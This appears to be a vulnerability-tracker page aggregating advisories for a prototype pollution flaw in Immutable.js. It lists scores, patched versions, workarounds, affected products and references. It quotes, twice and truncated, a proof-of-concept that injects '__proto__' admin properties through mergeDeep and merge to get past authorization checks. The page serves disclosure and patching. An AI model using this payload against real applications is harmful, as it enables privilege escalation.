CVE-2026-29063
Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
- Record
CVE-2026-29063- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321, CWE-915
- Updated
- 2026-11-02
EUVDEUVD-2026-10057
8.7
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
- Record
EUVD-2026-10057- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-wf6x-7x77-mvgw
8.7
Immutable is vulnerable to Prototype Pollution
Impact
What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] |
| mergeDeepWith(merger, target, source) | Same code path |
| merge(target, source) | Shallow variant, same assignment logic |
| Map.toJS() | object[k] = v in toObject() with no __proto__ guard |
| Map.toObject() | Same toObject() implementation |
| Map.mergeDeep(source) | When source is converted to plain object |
Patches
Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input
- Node.js flag --disable-proto
- Lock down built-in objects
- Avoid lookups on the prototype
- Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:",…
- Record
GHSA-wf6x-7x77-mvgw- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321
- Updated
- 2026-11-02
NVD
8.7
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
- Record
CVE-2026-29063- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321, CWE-915
- Updated
- 2026-11-02
OSV
8.7
Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
- Record
CVE-2026-29063- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-29063
9.8
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
- Record
DEBIAN-CVE-2026-29063- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 10 moreShow less
OSVGHSA-wf6x-7x77-mvgw
8.7
Immutable is vulnerable to Prototype Pollution
Impact
What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] |
| mergeDeepWith(merger, target, source) | Same code path |
| merge(target, source) | Shallow variant, same assignment logic |
| Map.toJS() | object[k] = v in toObject() with no __proto__ guard |
| Map.toObject() | Same toObject() implementation |
| Map.mergeDeep(source) | When source is converted to plain object |
Patches
Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input
- Node.js flag --disable-proto
- Lock down built-in objects
- Avoid lookups on the prototype
- Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:",…
- Record
GHSA-wf6x-7x77-mvgw- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-29063
8.7
Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.
- Record
UBUNTU-CVE-2026-29063- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1777509598 No score
TuxCare security update for immutable (1 CVE)
TuxCare rebuilt immutable to address 1 CVE. Fixed in 5.0.3-tuxcare.1.
- Record
CLSA-2026-1777509598- Updated
- 2026-11-02
OSVCLSA-2026-1782954035 No score
TuxCare security update for immutable (1 CVE)
TuxCare rebuilt immutable to address 1 CVE. Fixed in 4.3.7-tuxcare.1.
- Record
CLSA-2026-1782954035- Updated
- 2026-11-02
OSVCLSA-2026-1783040459 No score
TuxCare security update for immutable (1 CVE)
TuxCare rebuilt immutable to address 1 CVE. Fixed in 4.3.5-tuxcare.1.
- Record
CLSA-2026-1783040459- Updated
- 2026-11-02
OSVCLSA-2026-1784769615 No score
TuxCare security update for immutable (2 CVEs)
TuxCare rebuilt immutable to address 2 CVEs. Fixed in 4.1.0-tuxcare.2.
- Record
CLSA-2026-1784769615- Updated
- 2026-11-02
OSVCLSA-2026-1784943404 No score
TuxCare security update for immutable (2 CVEs)
TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.8.2-tuxcare.2.
- Record
CLSA-2026-1784943404- Updated
- 2026-11-02
OSVCLSA-2026-1785117466 No score
TuxCare security update for immutable (2 CVEs)
TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.8.1-tuxcare.2.
- Record
CLSA-2026-1785117466- Updated
- 2026-11-02
OSVCLSA-2026-1790808099 No score
TuxCare security update for immutable (2 CVEs)
TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.7.6-tuxcare.1.
- Record
CLSA-2026-1790808099- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-29063 No score
CVE-2026-29063 in immutable - Patched by Root
Root has patched CVE-2026-29063 in the immutable package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-29063- Updated
- 2026-11-02
Affected products
- immutable-js immutable
- immutable-js
- red hat cluster observability operator 1.5.0
- red hat logging subsystem for red hat openshift
- red hat migration toolkit for virtualization 2.1
- red hat migration toolkit for virtualization 2.9
- red hat multicluster engine for kubernetes 2.1
- red hat multicluster engine for kubernetes 2.11
- red hat multicluster engine for kubernetes 2.6
- red hat multicluster engine for kubernetes 2.7
- red hat multicluster engine for kubernetes 2.8
- red hat multicluster engine for kubernetes 2.9
Show 85 moreShow less
- red hat network observability (netobserv) 1.11.0
- red hat network observability (netobserv) 1.12.2
- red hat node healthcheck operator
- red hat openshift lightspeed
- red hat openshift pipelines
- red hat openshift service mesh 3
- red hat 3scale api management platform 2
- red hat advanced cluster management for kubernetes 2.14
- red hat advanced cluster management for kubernetes 2.15
- red hat advanced cluster management for kubernetes 2.16
- red hat advanced cluster security 4.8
- red hat advanced cluster security 4.9
- red hat advanced cluster security for kubernetes 4.10
- red hat ansible automation platform 2
- red hat build of apicurio registry 2
- red hat connectivity link 1
- red hat developer hub 1.8
- red hat developer hub 1.9
- red hat discovery 2
- red hat edge manager 1.0
- red hat edge manager 1.1
- red hat enterprise linux 10
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat migration toolkit 1.8
- red hat openshift ai (rhoai)
- red hat openshift ai 2.25
- red hat openshift ai 3.3
- red hat openshift container platform 4
- red hat openshift container platform 4.12
- red hat openshift container platform 4.13
- red hat openshift container platform 4.14
- red hat openshift container platform 4.15
- red hat openshift container platform 4.16
- red hat openshift container platform 4.17
- red hat openshift container platform 4.18
- red hat openshift container platform 4.19
- red hat openshift container platform 4.20
- red hat openshift container platform 4.21
- red hat openshift data foundation 4.18
- red hat openshift data foundation 4.19
- red hat openshift data foundation 4.20
- red hat openshift gitops
- red hat openshift pipelines 1.2
- red hat openshift service mesh 2.6
- red hat openshift service mesh 3.0
- red hat openshift service mesh 3.1
- red hat openshift service mesh 3.2
- red hat openshift service mesh 3.3
- red hat openshift virtualization 4
- red hat quay 3.10
- red hat quay 3.12
- red hat quay 3.15
- red hat quay 3.16
- red hat quay 3.17
- red hat quay 3.9
- red hat satellite 6
- red hat satellite 6.18
- red hat self-service automation portal 2
- redhat 3scale api management platform
- redhat advanced cluster management for kubernetes
- redhat advanced cluster security
- redhat ansible automation platform
- redhat build of apicurio registry
- redhat connectivity link
- redhat developer hub
- redhat discovery
- redhat edge manager
- redhat enterprise linux
- redhat logging subsystem for red hat openshift
- redhat migration toolkit
- redhat migration toolkit for virtualization
- redhat multicluster engine for kubernetes
- redhat network observability operator
- redhat openshift cluster observability operator
- redhat openshift container platform
- redhat openshift data foundation
- redhat openshift gitops
- redhat openshift lightspeed
- redhat openshift pipelines
- redhat openshift service mesh
- redhat openshift virtualization
- redhat quay
- redhat satellite
- redhat self-service automation portal
Affected packages
| Package | Affected | Fixed |
|---|---|---|
immutablenpm |
5.0.0 up to 5.1.5 | 5.1.5 |
immutablenpm |
4.0.0-rc.1 up to 4.3.8 | 4.3.8 |
immutablenpm |
before 3.8.3 | 3.8.3 |
immutableTuxCare:npm |
5.0.3-tuxcare.0 up to 5.0.3-tuxcare.1, plus listed versions 5.0.3 |
5.0.3-tuxcare.1 |
immutableTuxCare:npm |
4.3.7-tuxcare.0 up to 4.3.7-tuxcare.1, plus listed versions 4.3.7 |
4.3.7-tuxcare.1 |
immutableTuxCare:npm |
4.3.5-tuxcare.0 up to 4.3.5-tuxcare.1, plus listed versions 4.3.5 |
4.3.5-tuxcare.1 |
immutableTuxCare:npm From an advisory covering 2 CVEs |
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.2, plus listed versions 4.1.04.1.0-tuxcare.1 |
4.1.0-tuxcare.2 |
immutableTuxCare:npm From an advisory covering 2 CVEs |
3.8.2-tuxcare.0 up to 3.8.2-tuxcare.2, plus listed versions 3.8.23.8.2-tuxcare.1 |
3.8.2-tuxcare.2 |
immutableTuxCare:npm From an advisory covering 2 CVEs |
3.8.1-tuxcare.0 up to 3.8.1-tuxcare.2, plus listed versions 3.8.13.8.1-tuxcare.1 |
3.8.1-tuxcare.2 |
immutableTuxCare:npm From an advisory covering 2 CVEs |
3.7.6-tuxcare.0 up to 3.7.6-tuxcare.1, plus listed versions 3.7.6 |
3.7.6-tuxcare.1 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
node-immutableDebian:12 |
All versions, plus listed versions 4.1.0-34.3.4-14.3.8-14.3.8-24.3.9-15.1.9-1 |
None known |
node-immutableDebian:13 |
All versions, plus listed versions 4.3.4-14.3.8-14.3.8-24.3.9-15.1.9-1 |
None known |
node-immutableDebian:14 |
before 4.3.8-1, plus listed versions 4.3.4-1 |
4.3.8-1 |
immutableRoot:npm |
before 5.1.4-aikido.2 | 5.1.4-aikido.25.1.1-aikido.23.7.6-aikido.24.3.7-aikido.24.3.7-aikido.35.1.1-aikido.35.1.1-aikido.45.1.1-aikido.53.7.6-aikido.34.3.7-aikido.45.0.3-aikido.24.0.0-aikido.14.0.0-aikido.24.3.6-aikido.14.0.0-rc.12-aikido.13.7.6-aikido.44.3.8-aikido.15.1.5-aikido.14.3.8-aikido.23.8.3-aikido.13.8.3-aikido.2 |
@rootio/immutableRoot:npm |
before 5.1.4-root.io.1 | 5.1.4-root.io.13.7.6-root.io.14.3.7-root.io.15.1.1-root.io.15.1.4-root.io.25.1.1-root.io.23.7.6-root.io.24.3.7-root.io.24.3.7-root.io.35.1.1-root.io.35.1.1-root.io.45.1.1-root.io.53.7.6-root.io.34.3.7-root.io.45.0.3-root.io.24.0.0-root.io.14.0.0-root.io.24.3.6-root.io.14.0.0-rc.12-root.io.13.7.6-root.io.44.3.8-root.io.15.1.5-root.io.14.3.8-root.io.23.8.3-root.io.13.8.3-root.io.2 |
node-immutableUbuntu:20.04:LTS |
All versions, plus listed versions 3.8.2+dfsg-3 |
None known |
node-immutableUbuntu:22.04:LTS |
All versions, plus listed versions 3.8.2+dfsg-34.0.0-14.0.0-2 |
None known |
node-immutableUbuntu:24.04:LTS |
All versions, plus listed versions 4.1.0-34.3.4-1 |
None known |
node-immutableUbuntu:25.10 |
All versions, plus listed versions 4.3.4-1 |
None known |
node-immutableUbuntu:26.04:LTS |
All versions, plus listed versions 4.3.4-14.3.8-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-29063 is a high vulnerability (CVSS 8.7) in Immutable-js Immutable, published March 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.99%, the 62nd percentile. Fixed in immutable 5.1.5.
References
github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw
github.com/immutable-js/immutable-js/releases/tag/v3.8.3
github.com/immutable-js/immutable-js/releases/tag/v4.3.8
github.com/immutable-js/immutable-js/releases/tag/v5.1.5
access.redhat.com/security/cve/CVE-2026-29063
bugzilla.redhat.com/show_bug.cgi?id=2445291
Show 77 moreShow less
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29063.json
access.redhat.com/errata/RHSA-2026:34342
access.redhat.com/errata/RHSA-2026:19409
access.redhat.com/errata/RHSA-2026:19410
access.redhat.com/errata/RHSA-2026:6428
access.redhat.com/errata/RHSA-2026:24473
access.redhat.com/errata/RHSA-2026:36882
access.redhat.com/errata/RHSA-2026:13548
access.redhat.com/errata/RHSA-2026:13847
access.redhat.com/errata/RHSA-2026:11070
access.redhat.com/errata/RHSA-2026:11217
access.redhat.com/errata/RHSA-2026:13791
access.redhat.com/errata/RHSA-2026:13829
access.redhat.com/errata/RHSA-2026:9742
access.redhat.com/errata/RHSA-2026:13826
access.redhat.com/errata/RHSA-2026:7329
access.redhat.com/errata/RHSA-2026:36651
access.redhat.com/errata/RHSA-2026:40945
access.redhat.com/errata/RHSA-2026:40118
access.redhat.com/errata/RHSA-2026:41928
access.redhat.com/errata/RHSA-2026:24977
access.redhat.com/errata/RHSA-2026:19712
access.redhat.com/errata/RHSA-2026:34049
access.redhat.com/errata/RHSA-2026:40022
access.redhat.com/errata/RHSA-2026:28893
access.redhat.com/errata/RHSA-2026:28964
access.redhat.com/errata/RHSA-2026:36621
access.redhat.com/errata/RHSA-2026:20088
access.redhat.com/errata/RHSA-2026:34100
access.redhat.com/errata/RHSA-2026:34099
access.redhat.com/errata/RHSA-2026:17598
access.redhat.com/errata/RHSA-2026:21658
access.redhat.com/errata/RHSA-2026:29857
access.redhat.com/errata/RHSA-2026:21657
access.redhat.com/errata/RHSA-2026:12118
access.redhat.com/errata/RHSA-2026:20042
access.redhat.com/errata/RHSA-2026:29864
access.redhat.com/errata/RHSA-2026:23246
access.redhat.com/errata/RHSA-2026:20041
access.redhat.com/errata/RHSA-2026:17469
access.redhat.com/errata/RHSA-2026:27063
access.redhat.com/errata/RHSA-2026:21703
access.redhat.com/errata/RHSA-2026:20034
access.redhat.com/errata/RHSA-2026:21931
access.redhat.com/errata/RHSA-2026:8483
access.redhat.com/errata/RHSA-2026:8484
access.redhat.com/errata/RHSA-2026:8490
access.redhat.com/errata/RHSA-2026:8491
access.redhat.com/errata/RHSA-2026:8493
access.redhat.com/errata/RHSA-2026:41941
access.redhat.com/errata/RHSA-2026:41944
access.redhat.com/errata/RHSA-2026:40984
access.redhat.com/errata/RHSA-2026:11916
access.redhat.com/errata/RHSA-2026:6720
access.redhat.com/errata/RHSA-2026:6568
access.redhat.com/errata/RHSA-2026:19375
access.redhat.com/errata/RHSA-2026:22465
access.redhat.com/errata/RHSA-2026:6926
access.redhat.com/errata/RHSA-2026:26232
access.redhat.com/errata/RHSA-2026:26225
access.redhat.com/errata/RHSA-2026:13853
access.redhat.com/errata/RHSA-2026:13542
access.redhat.com/errata/RHSA-2026:9848
access.redhat.com/errata/RHSA-2026:11858
access.redhat.com/errata/RHSA-2026:8218
access.redhat.com/errata/RHSA-2026:11414
github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945
github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb
github.com/immutable-js/immutable-js/issues/2178
github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9
nvd.nist.gov/vuln/detail/CVE-2026-29063
github.com/advisories/GHSA-wf6x-7x77-mvgw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29063.json
security-tracker.debian.org/tracker/CVE-2026-29063
github.com/immutable-js/immutable-js
ubuntu.com/security/CVE-2026-29063
cve.org/CVERecord?id=CVE-2026-29063
Left out here: the rest of 2 source descriptions. The JSON record has them.